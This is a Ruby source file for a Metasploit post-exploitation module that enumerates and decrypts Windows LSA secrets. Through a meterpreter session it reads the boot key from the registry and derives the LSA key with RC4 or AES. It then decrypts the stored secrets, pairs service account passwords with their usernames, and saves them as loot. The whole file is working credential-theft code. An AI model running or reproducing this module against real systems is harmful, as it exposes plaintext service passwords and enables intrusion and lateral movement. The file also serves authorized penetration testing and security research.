Files
metasploit-gs/unstable-modules/post/enum_lsa.rb
T
Michael Schierl cad6fee858 Platform windows cleanup
Change all Platform 'windows' to 'win', as it internally is an alias
anyway and only causes unnecessary confusion to have two platform names
that mean the same.
2012-10-23 21:53:33 +02:00

298 lines
8.8 KiB
Ruby

##
# $Id: enum_lsa.rb 15362 2012-04-21 rob $
##
require 'msf/core'
require 'msf/core/post/windows/priv'
require 'msf/core/post/common'
require 'msf/core/post/windows/registry'
class Metasploit3 < Msf::Post
include Msf::Post::Windows::Priv
include Msf::Post::Common
include Msf::Post::Windows::Registry
def initialize(info={})
super(update_info(info,
'Name' => "Windows Enumerate LSA Secrets",
'Description' => %q{
This module will attempt to enumerate the LSA Secrets keys within the registry. The registry value used is:
HKEY_LOCAL_MACHINE\\Security\\Policy\\Secrets\\. Thanks goes to Maurizio Agazzini and Mubix for decrypt
code from cachedump.
},
'License' => MSF_LICENSE,
'Version' => '$Revision: 15362 $',
'Platform' => ['win'],
'SessionTypes' => ['meterpreter'],
'Author' => ['Rob Bathurst <rob.bathurst@foundstone.com>']
))
end
def capture_boot_key
bootkey = ""
basekey = "System\\CurrentControlSet\\Control\\Lsa"
%W{JD Skew1 GBG Data}.each do |k|
ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, basekey + "\\" + k, KEY_READ)
return nil if not ok
bootkey << [ok.query_class.to_i(16)].pack("V")
ok.close
end
keybytes = bootkey.unpack("C*")
descrambled = ""
descrambler = [ 0x0b, 0x06, 0x07, 0x01, 0x08, 0x0a, 0x0e, 0x00, 0x03, 0x05, 0x02, 0x0f, 0x0d, 0x09, 0x0c, 0x04 ]
0.upto(keybytes.length-1) do |x|
descrambled << [keybytes[descrambler[x]]].pack("C")
end
return descrambled
end
def capture_lsa_key(bootkey)
begin
#print_status("Getting PolSecretEncryptionKey...")
ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SECURITY\\Policy\\PolSecretEncryptionKey", KEY_READ)
pol = ok.query_value("").data
#print_status("Got PolSecretEncryptionKey: #{pol.unpack("H*")[0]}")
ok.close
print_status("XP compatible client")
@vista = 0
rescue
#print_status("Trying 'V72' style...")
#print_status("Getting PolEKList...")
ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SECURITY\\Policy\\PolEKList", KEY_READ)
pol = ok.query_value("").data
#print_good("Pol: #{pol.unpack("H*")[0]}")
ok.close
print_status("V/7/2k8 compatible client")
@vista = 1
end
if( @vista == 1 )
lsakey = decrypt_lsa(pol, bootkey)
lsakey = lsakey[68,32]
#print_good(lsakey.unpack("H*")[0])
else
md5x = Digest::MD5.new()
md5x << bootkey
(1..1000).each do
md5x << pol[60,16]
end
rc4 = OpenSSL::Cipher::Cipher.new("rc4")
rc4.key = md5x.digest
lsakey = rc4.update(pol[12,48])
lsakey << rc4.final
lsakey = lsakey[0x10..0x1F]
end
return lsakey
end
def convert_des_56_to_64(kstr)
des_odd_parity = [
1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14,
16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31,
32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47,
49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62,
64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79,
81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94,
97, 97, 98, 98,100,100,103,103,104,104,107,107,109,109,110,110,
112,112,115,115,117,117,118,118,121,121,122,122,124,124,127,127,
128,128,131,131,133,133,134,134,137,137,138,138,140,140,143,143,
145,145,146,146,148,148,151,151,152,152,155,155,157,157,158,158,
161,161,162,162,164,164,167,167,168,168,171,171,173,173,174,174,
176,176,179,179,181,181,182,182,185,185,186,186,188,188,191,191,
193,193,194,194,196,196,199,199,200,200,203,203,205,205,206,206,
208,208,211,211,213,213,214,214,217,217,218,218,220,220,223,223,
224,224,227,227,229,229,230,230,233,233,234,234,236,236,239,239,
241,241,242,242,244,244,247,247,248,248,251,251,253,253,254,254
]
key = []
str = kstr.unpack("C*")
key[0] = str[0] >> 1
key[1] = ((str[0] & 0x01) << 6) | (str[1] >> 2)
key[2] = ((str[1] & 0x03) << 5) | (str[2] >> 3)
key[3] = ((str[2] & 0x07) << 4) | (str[3] >> 4)
key[4] = ((str[3] & 0x0F) << 3) | (str[4] >> 5)
key[5] = ((str[4] & 0x1F) << 2) | (str[5] >> 6)
key[6] = ((str[5] & 0x3F) << 1) | (str[6] >> 7)
key[7] = str[6] & 0x7F
0.upto(7) do |i|
key[i] = ( key[i] << 1)
key[i] = des_odd_parity[key[i]]
end
return key.pack("C*")
end
def decrypt_secret(secret, key)
# Ruby implementation of SystemFunction005
# the original python code has been taken from Credump
j = 0
decrypted_data = ''
for i in (0...secret.length).step(8)
enc_block = secret[i..i+7]
block_key = key[j..j+6]
des_key = convert_des_56_to_64(block_key)
d1 = OpenSSL::Cipher::Cipher.new('des-ecb')
d1.padding = 0
d1.key = des_key
d1o = d1.update(enc_block)
d1o << d1.final
decrypted_data += d1o
j += 7
if (key[j..j+7].length < 7 )
j = key[j..j+7].length
end
end
dec_data_len = decrypted_data[0].ord
return decrypted_data[8..8+dec_data_len]
end
def decrypt_lsa(pol, encryptedkey)
sha256x = Digest::SHA256.new()
sha256x << encryptedkey
(1..1000).each do
sha256x << pol[28,32]
end
aes = OpenSSL::Cipher::Cipher.new("aes-256-cbc")
aes.key = sha256x.digest
#print_status("digest #{sha256x.digest.unpack("H*")[0]}")
decryptedkey = ''
for i in (60...pol.length).step(16)
aes.decrypt
aes.padding = 0
xx = aes.update(pol[i...i+16])
decryptedkey += xx
end
#print_good("Dec_Key #{decryptedkey}")
return decryptedkey
end
def reg_getvaldata(key,valname)
v = nil
begin
root_key, base_key = client.sys.registry.splitkey(key)
open_key = client.sys.registry.open_key(root_key, base_key, KEY_READ)
#print("reading key: #{key}#{valname}\n")
v = open_key.query_value(valname).data
open_key.close
rescue
print_error("Error opening key!")
end
return v
end
#Decrypted LSA key is passed into this function
def get_secret(lkey)
sec_str = "\n"
begin
#LSA Secret key location within the register
root_key = "HKEY_LOCAL_MACHINE\\Security\\Policy\\Secrets\\"
begin
key_arr = meterpreter_registry_enumkeys(root_key)
key_arr.each do |keys|
begin
mid_key = root_key + "\\" + keys
sk_arr = meterpreter_registry_enumkeys(mid_key)
sk_arr.each do |mkeys|
begin
#CurrVal stores the currently set value of the key, in the case of
#services it usually come out as plan text
if(mkeys == "CurrVal")
val_key = root_key + "\\" + keys + "\\" + mkeys
v_name = ""
sec = reg_getvaldata(val_key, v_name)
if( @vista == 1 )
#Magic happens here
sec = sec[0..-1]
sec = decrypt_lsa(sec, lkey)[1..-1].scan(/[[:print:]]/).join
else
#and here
sec = sec[0xC..-1]
sec = decrypt_secret(sec, lkey).scan(/[[:print:]]/).join
end
if(sec.length > 0)
if(keys[0,4] == "_SC_")
user_key = "HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\"
keys_c = keys[4,keys.length]
user_key = user_key << keys_c
n_val = "ObjectName"
user_n = reg_getvaldata(user_key, n_val)
#if the unencrypted value is not blank and is a service, print
print_good("Key: #{keys} \n Username: #{user_n} \n Decrypted Value: #{sec}\n")
sec_str = sec_str << "Key: #{keys} \n Username: #{user_n} \n Decrypted Value: #{sec}\n"
else
#if the unencrypted value is not blank, print
print_good("Key: #{keys} \n Decrypted Value: #{sec}\n")
sec_str = sec_str << "Key: #{keys} \n Decrypted Value: #{sec}\n"
end
end
else
next
end
rescue ::Exception => e
print_error("Unable to open: #{val_key}")
print_error("Error: #{e.class} #{e}")
end
end
rescue
print_error("Unable to open: #{mid_key}")
end
end
rescue ::Exception => e
print_error("Unable to open: #{root_key}")
print_error("Error: #{e.class} #{e}")
end
rescue
print_error("Cannot find key.")
end
return sec_str
end
# The sauce starts here
def run
print_status('Obtaining boot key...')
bootkey = capture_boot_key
#print_status("Boot key: #{bootkey.unpack("H*")[0]}")
print_status('Obtaining Lsa key...')
lsakey = capture_lsa_key(bootkey)
#print_status("Lsa Key: #{lsakey.unpack("H*")[0]}")
hostname = session.sys.config.sysinfo['Computer']
print_status("Executing module against #{hostname}")
client.railgun.netapi32()
begin
secrets = hostname << get_secret(lsakey)
print_status("Writing to loot...")
path = store_loot(
'registry.lsa.sec',
'text/plain',
session,
secrets,
'reg_lsa_secrts.txt',
'Registry LSA Secret Decrypted File')
print_status("Data saved in: #{path}")
rescue ::Exception => e
print_error("Failed to run LSA Enum")
print_error("Error: #{e.class} #{e}")
end
end
end